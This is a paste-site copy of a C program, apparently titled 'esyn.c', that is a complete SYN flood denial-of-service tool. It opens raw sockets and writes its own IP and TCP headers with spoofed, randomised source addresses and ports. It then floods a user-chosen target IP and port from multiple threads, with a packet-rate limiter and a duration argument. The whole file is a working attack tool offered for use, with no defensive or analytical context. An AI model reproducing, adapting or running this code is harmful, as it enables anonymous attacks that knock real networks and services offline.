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esyn.c

Mar 19th, 2015
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  1. /*
  2.  * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
  3.  */
  4. #include <unistd.h>
  5. #include <time.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/ioctl.h>
  9. #include <string.h>
  10. #include <stdlib.h>
  11. #include <stdio.h>
  12. #include <pthread.h>
  13. #include <netinet/tcp.h>
  14. #include <netinet/ip.h>
  15. #include <netinet/in.h>
  16. #include <netinet/if_ether.h>
  17. #include <netdb.h>
  18. #include <net/if.h>
  19. #include <arpa/inet.h>
  20.  
  21. #define MAX_PACKET_SIZE 4096
  22. #define PHI 0x9e3779b9
  23.  
  24. static unsigned long int Q[4096], c = 362436;
  25. static unsigned int floodport;
  26. volatile int limiter;
  27. volatile unsigned int pps;
  28. volatile unsigned int sleeptime = 100;
  29.  
  30. void init_rand(unsigned long int x)
  31. {
  32.     int i;
  33.     Q[0] = x;
  34.     Q[1] = x + PHI;
  35.     Q[2] = x + PHI + PHI;
  36.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  37. }
  38. unsigned long int rand_cmwc(void)
  39. {
  40.     unsigned long long int t, a = 18782LL;
  41.     static unsigned long int i = 4095;
  42.     unsigned long int x, r = 0xfffffffe;
  43.     i = (i + 1) & 4095;
  44.     t = a * Q[i] + c;
  45.     c = (t >> 32);
  46.     x = t + c;
  47.     if (x < c) {
  48.         x++;
  49.         c++;
  50.     }
  51.     return (Q[i] = r - x);
  52. }
  53. unsigned short csum (unsigned short *buf, int count)
  54. {
  55.     register unsigned long sum = 0;
  56.     while( count > 1 ) { sum += *buf++; count -= 2; }
  57.     if(count > 0) { sum += *(unsigned char *)buf; }
  58.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  59.     return (unsigned short)(~sum);
  60. }
  61.  
  62. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  63.  
  64.     struct tcp_pseudo
  65.     {
  66.         unsigned long src_addr;
  67.         unsigned long dst_addr;
  68.         unsigned char zero;
  69.         unsigned char proto;
  70.         unsigned short length;
  71.     } pseudohead;
  72.     unsigned short total_len = iph->tot_len;
  73.     pseudohead.src_addr=iph->saddr;
  74.     pseudohead.dst_addr=iph->daddr;
  75.     pseudohead.zero=0;
  76.     pseudohead.proto=IPPROTO_TCP;
  77.     pseudohead.length=htons(sizeof(struct tcphdr));
  78.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  79.     unsigned short *tcp = malloc(totaltcp_len);
  80.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  81.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  82.     unsigned short output = csum(tcp,totaltcp_len);
  83.     free(tcp);
  84.     return output;
  85. }
  86.  
  87. void setup_ip_header(struct iphdr *iph)
  88. {
  89.     iph->ihl = 5;
  90.     iph->version = 4;
  91.     iph->tos = 0;
  92.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  93.     iph->id = htonl(54321);
  94.     iph->frag_off = 0;
  95.     iph->ttl = MAXTTL;
  96.     iph->protocol = 6;
  97.     iph->check = 0;
  98.     iph->saddr = inet_addr("192.168.3.100");
  99. }
  100.  
  101. void setup_tcp_header(struct tcphdr *tcph)
  102. {
  103.     tcph->source = htons(5678);
  104.     tcph->seq = rand();
  105.     tcph->ack_seq = 1;
  106.     tcph->res2 = 2;
  107.     tcph->doff = 5;
  108.     tcph->syn = 1;
  109.     tcph->window = htons(65535);
  110.     tcph->check = 1;
  111.     tcph->urg_ptr = 1;
  112. }
  113.  
  114. void *flood(void *par1)
  115. {
  116.     char *td = (char *)par1;
  117.     char datagram[MAX_PACKET_SIZE];
  118.     struct iphdr *iph = (struct iphdr *)datagram;
  119.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  120.    
  121.     struct sockaddr_in sin;
  122.     sin.sin_family = AF_INET;
  123.     sin.sin_port = htons(floodport);
  124.     sin.sin_addr.s_addr = inet_addr(td);
  125.  
  126.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  127.     if(s < 0){
  128.         fprintf(stderr, "Could not open raw socket.\n");
  129.         exit(-1);
  130.     }
  131.     memset(datagram, 0, MAX_PACKET_SIZE);
  132.     setup_ip_header(iph);
  133.     setup_tcp_header(tcph);
  134.  
  135.     tcph->dest = htons(floodport);
  136.  
  137.     iph->daddr = sin.sin_addr.s_addr;
  138.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  139.  
  140.     int tmp = 1;
  141.     const int *val = &tmp;
  142.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  143.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  144.         exit(-1);
  145.     }
  146.  
  147.     init_rand(time(NULL));
  148.     register unsigned int i;
  149.     i = 0;
  150.     while(1){
  151.         sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  152.  
  153.         iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  154.         iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  155.         iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  156.         tcph->seq = rand_cmwc() & 0xFFFF;
  157.         tcph->source = htons(rand_cmwc() & 0xFFFF);
  158.         tcph->check = 0;
  159.         tcph->check = tcpcsum(iph, tcph);
  160.        
  161.         pps++;
  162.         if(i >= limiter)
  163.         {
  164.             i = 0;
  165.             usleep(sleeptime);
  166.         }
  167.         i++;
  168.     }
  169. }
  170. int main(int argc, char *argv[ ])
  171. {
  172.     if(argc < 6){
  173.         fprintf(stderr, "Invalid parameters!\n");
  174.         fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  175.         exit(-1);
  176.     }
  177.  
  178.     fprintf(stdout, "Setting up Sockets...\n");
  179.  
  180.     int num_threads = atoi(argv[3]);
  181.     floodport = atoi(argv[2]);
  182.     int maxpps = atoi(argv[4]);
  183.     limiter = 0;
  184.     pps = 0;
  185.     pthread_t thread[num_threads];
  186.    
  187.     int multiplier = 20;
  188.  
  189.     int i;
  190.     for(i = 0;i<num_threads;i++){
  191.         pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  192.     }
  193.     fprintf(stdout, "Starting Flood...\n");
  194.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  195.     {
  196.         usleep((1000/multiplier)*1000);
  197.         if((pps*multiplier) > maxpps)
  198.         {
  199.             if(1 > limiter)
  200.             {
  201.                 sleeptime+=100;
  202.             } else {
  203.                 limiter--;
  204.             }
  205.         } else {
  206.             limiter++;
  207.             if(sleeptime > 25)
  208.             {
  209.                 sleeptime-=25;
  210.             } else {
  211.                 sleeptime = 0;
  212.             }
  213.         }
  214.         pps = 0;
  215.     }
  216.  
  217.     return 0;
  218. }
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